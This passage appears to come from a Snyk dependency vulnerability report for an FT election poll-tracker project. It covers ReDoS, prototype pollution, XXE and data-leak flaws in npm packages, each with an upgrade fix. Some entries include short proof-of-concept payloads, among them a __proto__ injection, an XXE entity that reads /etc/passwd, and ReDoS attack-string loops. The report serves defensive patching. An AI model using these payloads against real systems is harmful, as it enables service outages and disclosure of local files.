ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade node-sass to version 4.13.1 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: yargs-parser
  • Introduced through: sequelize-cli@2.8.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD sequelize-cli@2.8.0 yargs@8.0.2 yargs-parser@7.0.0
    Remediation: Upgrade to sequelize-cli@5.5.0.

Overview

yargs-parser is a mighty option parser used by yargs.

Affected versions of this package are vulnerable to Prototype Pollution. The library could be tricked into adding or modifying properties of Object.prototype using a __proto__ payload.

Our research team checked several attack vectors to verify this vulnerability:

  1. It could be used for privilege escalation.
  2. The library could be used to parse user input received from different sources:
    • terminal emulators
    • system calls from other code bases
    • CLI RPC servers

PoC by Snyk

const parser = require("yargs-parser");
console.log(parser('--foo.__proto__.bar baz'));
console.log(({}).bar);

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade yargs-parser to version 5.0.1, 13.1.2, 15.0.1, 18.1.1 or higher.

References

medium severity

XML External Entity (XXE) Injection

  • Vulnerable module: xmldom
  • Introduced through: xmldom@0.1.31

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD xmldom@0.1.31
    Remediation: Upgrade to xmldom@0.5.0.

Overview

xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.

Affected versions of this package are vulnerable to XML External Entity (XXE) Injection. Does not correctly preserve system identifiers, FPIs or namespaces when repeatedly parsing and serializing maliciously crafted documents.

Details

XXE Injection is a type of attack against an application that parses XML input. XML is a markup language that defines a set of rules for encoding documents in a format that is both human-readable and machine-readable. By default, many XML processors allow specification of an external entity, a URI that is dereferenced and evaluated during XML processing. When an XML document is being parsed, the parser can make a request and include the content at the specified URI inside of the XML document.

Attacks can include disclosing local files, which may contain sensitive data such as passwords or private user data, using file: schemes or relative paths in the system identifier.

For example, below is a sample XML document, containing an XML element- username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
   <username>John</username>
</xml>

An external XML entity - xxe, is defined using a system identifier and present within a DOCTYPE header. These entities can access local or remote content. For example the below code contains an external XML entity that would fetch the content of /etc/passwd and display it to the user rendered by username.

<xml>
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
   <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
   <username>&xxe;</username>
</xml>

Other XXE Injection attacks can access local resources that may not stop returning data, possibly impacting application availability and leading to Denial of Service.

Remediation

Upgrade xmldom to version 0.5.0 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.18.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to content continuing to be accepted from requests after maxContentLength is exceeded.

PoC

require('axios').get(
  'https://upload.wikimedia.org/wikipedia/commons/f/fe/A_Different_Slant_on_Carina.jpg',
  { maxContentLength: 2000 }
)
  .then(d => console.log('done'))
  .catch(e => console.log(e.toString()))

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade axios to version 0.18.1 or higher.

References

medium severity

Insertion of Sensitive Information Into Sent Data

  • Vulnerable module: axios
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3
    Remediation: Upgrade to axios@0.31.1.

Overview

axios is a promise-based HTTP client for the browser and Node.js.

Affected versions of this package are vulnerable to Insertion of Sensitive Information Into Sent Data through the request configuration handling in the adapters/xhr.js adapter and helpers/resolveConfig.js‎. An attacker can force the withXSRFToken option to a truthy non-boolean value, or pollute Object.prototype.withXSRFToken, by supplying a crafted request config that causes the XSRF header to be sent on cross-origin requests. When withXSRFToken is treated as a generic truthy value, the same-origin check is bypassed, and the browser reads the XSRF cookie and attaches it to an attacker-controlled destination. This exposes the user's XSRF token to a cross-origin endpoint, potentially enabling request forgery against the victim's authenticated session.

Remediation

Upgrade axios to version 0.31.1, 1.15.1 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: browserslist
  • Introduced through: cssnano@3.10.0 and exhibit-plugin-autoprefixer@0.10.1

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 autoprefixer@6.7.7 browserslist@1.7.7
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD exhibit-plugin-autoprefixer@0.10.1 autoprefixer@6.7.7 browserslist@1.7.7
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-merge-rules@2.1.2 browserslist@1.7.7
    Remediation: Upgrade to cssnano@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-merge-rules@2.1.2 caniuse-api@1.6.1 browserslist@1.7.7
    Remediation: Upgrade to cssnano@4.0.0.

Overview

browserslist is a Share target browsers between different front-end tools, like Autoprefixer, Stylelint and babel-env-preset

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) during parsing of queries.

PoC by Yeting Li

var browserslist = require("browserslist")
function build_attack(n) {
    var ret = "> "
    for (var i = 0; i < n; i++) {
        ret += "1"
    }
    return ret + "!";
}

// browserslist('> 1%')

//browserslist(build_attack(500000))
for(var i = 1; i <= 500000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_attack(i)
        try{
            browserslist(attack_str);
            var time_cost = Date.now() - time;
            console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
            }
        catch(e){
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms");
        }
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade browserslist to version 4.16.5 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: color-string
  • Introduced through: cssnano@3.10.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-colormin@2.2.2 colormin@1.1.2 color@0.11.4 color-string@0.3.0

Overview

color-string is a Parser and generator for CSS color strings

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the hwb regular expression in the cs.get.hwb function in index.js. The affected regular expression exhibits quadratic worst-case time complexity.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade color-string to version 1.5.5 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: content-type-parser
  • Introduced through: jsdom@9.12.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD jsdom@9.12.0 content-type-parser@1.0.2

Overview

content-type-parser is a Parse the value of the Content-Type header. content-type-parser package has been replaced by whatwg-mimetype.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (/^(.*?)\/(.*?)([\t ]*;.*)?$/) in order to parse user agents. This can cause a very moderate impact of about 4 seconds matching time for data 30k characters long.

Note: content-type-parser has been replaced by the whatwg-mimetype package and the fix for this vulnerability can be found within whatwg-mimetype.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for content-type-parser.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: d3-color
  • Introduced through: d3-scale@1.0.7 and d3@4.13.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3-scale@1.0.7 d3-color@1.4.1
    Remediation: Upgrade to d3-scale@2.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3-scale@1.0.7 d3-interpolate@1.4.0 d3-color@1.4.1
    Remediation: Upgrade to d3-scale@4.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3@4.13.0 d3-interpolate@1.1.6 d3-color@1.4.1
    Remediation: Upgrade to d3@7.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3@4.13.0 d3-scale@1.0.7 d3-color@1.4.1
    Remediation: Upgrade to d3@5.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3@4.13.0 d3-transition@1.1.1 d3-color@1.4.1
    Remediation: Upgrade to d3@7.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3@4.13.0 d3-brush@1.0.4 d3-interpolate@1.4.0 d3-color@1.4.1
    Remediation: Upgrade to d3@7.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3@4.13.0 d3-scale@1.0.7 d3-interpolate@1.4.0 d3-color@1.4.1
    Remediation: Upgrade to d3@7.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3@4.13.0 d3-transition@1.1.1 d3-interpolate@1.4.0 d3-color@1.4.1
    Remediation: Upgrade to d3@7.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3@4.13.0 d3-zoom@1.7.1 d3-interpolate@1.4.0 d3-color@1.4.1
    Remediation: Upgrade to d3@7.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3@4.13.0 d3-brush@1.0.4 d3-transition@1.3.2 d3-color@1.4.1
    Remediation: Upgrade to d3@7.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3@4.13.0 d3-zoom@1.7.1 d3-transition@1.3.2 d3-color@1.4.1
    Remediation: Upgrade to d3@7.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3@4.13.0 d3-brush@1.0.4 d3-transition@1.3.2 d3-interpolate@1.4.0 d3-color@1.4.1
    Remediation: Upgrade to d3@7.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3@4.13.0 d3-zoom@1.7.1 d3-transition@1.3.2 d3-interpolate@1.4.0 d3-color@1.4.1
    Remediation: Upgrade to d3@7.0.0.
  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD d3@4.13.0 d3-color@1.0.3
    Remediation: Upgrade to d3@7.0.0.

Overview

d3-color is a Color spaces! RGB, HSL, Cubehelix, Lab and HCL (Lch).

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the rgb() and hrc() functions.

PoC by Yeting Li:

var d3Color = require("d3-color")
// d3Color.rgb("rgb(255,255,255)")

function build_blank(n) {
    var ret = "rgb("
    for (var i = 0; i < n; i++) {
        ret += "1"
    }
    return ret + "!";
}

for(var i = 1; i <= 5000000; i++) {
    if (i % 1000 == 0) {
        var time = Date.now();
        var attack_str = build_blank(i)
        d3Color.rgb(attack_str)
        var time_cost = Date.now() - time;
        console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")
    }
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade d3-color to version 3.1.0 or higher.

References

medium severity

Information Exposure

  • Vulnerable module: follow-redirects
  • Introduced through: axios@0.15.3

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD axios@0.15.3 follow-redirects@1.0.0
    Remediation: Upgrade to axios@0.16.1.

Overview

Affected versions of this package are vulnerable to Information Exposure by leaking the cookie header to a third party site in the process of fetching a remote URL with the cookie in the request body. If the response contains a location header, it will follow the redirect to another URL of a potentially malicious actor, to which the cookie would be exposed.

Remediation

Upgrade follow-redirects to version 1.14.7 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: html-minifier
  • Introduced through: html-minifier@3.5.21

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD html-minifier@3.5.21

Overview

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) through the value parameter of the minify function. This vulnerability derives from the usage of insecure regular expression in reCustomIgnore.

PoC

  const { minify } = require('html-minifier');

const testReDoS = (repeatCount) => {
    const input = '\t'.repeat(repeatCount) + '.\t1x';

    const startTime = performance.now();

    try {
        minify(input);
    } catch (e) {
        console.error('Error during minification:', e);
    }

    const endTime = performance.now();
    console.log(`Input length: ${repeatCount} - Processing time: ${endTime - startTime} ms`);
};


for (let i = 5000; i <= 60000; i += 5000) {
    testReDoS(i);
}

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

There is no fixed version for html-minifier.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: is-svg
  • Introduced through: cssnano@3.10.0

Detailed paths

  • Introduced through: undefined@ft-interactive/us-elections-polltracker#HEAD cssnano@3.10.0 postcss-svgo@2.1.6 is-svg@2.1.0
    Remediation: Upgrade to cssnano@4.0.0.

Overview

is-svg is a Check if a string or buffer is SVG

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). If an attacker provides a malicious string, is-svg will get stuck processing the input for a very long time.

You are only affected if you use this package on a server that accepts SVG as user-input.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

